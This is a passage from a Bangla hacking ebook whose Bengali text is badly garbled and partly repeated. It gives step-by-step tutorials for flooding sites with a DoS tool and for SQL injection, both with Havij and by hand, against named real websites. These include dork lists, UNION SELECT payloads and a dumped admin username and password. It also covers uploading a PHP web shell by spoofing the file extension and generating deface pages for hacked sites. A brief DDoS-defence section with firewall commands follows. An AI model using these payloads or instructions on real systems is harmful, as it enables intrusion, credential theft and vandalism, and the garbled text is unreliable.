সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 45: Hacking Bangla eBook

১ URL ফচছকস সম সকান াআচছটয নাভ সরখন

(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)

২ lock on কতচছরকট করন

৩ সদখচছফন অআকত রক চছয কতগচছযচছছ

৪ কতচতর এয ভত কচছয http কতচছরকট করন

৫Threads ফকস এ 1000 টাআ করন

৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন

৭ ফলাকতডং শর চছয মাচছফ

------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক

ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 46: Hacking Bangla eBook

৩ সদখচছফন অআকত রক চছয কতগচছযচছছ

৪ কতচতর এয ভত কচছয http কতচছরকট করন

৫Threads ফকস এ 1000 টাআ করন

৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন

৭ ফলাকতডং শর চছয মাচছফ

------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক

ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

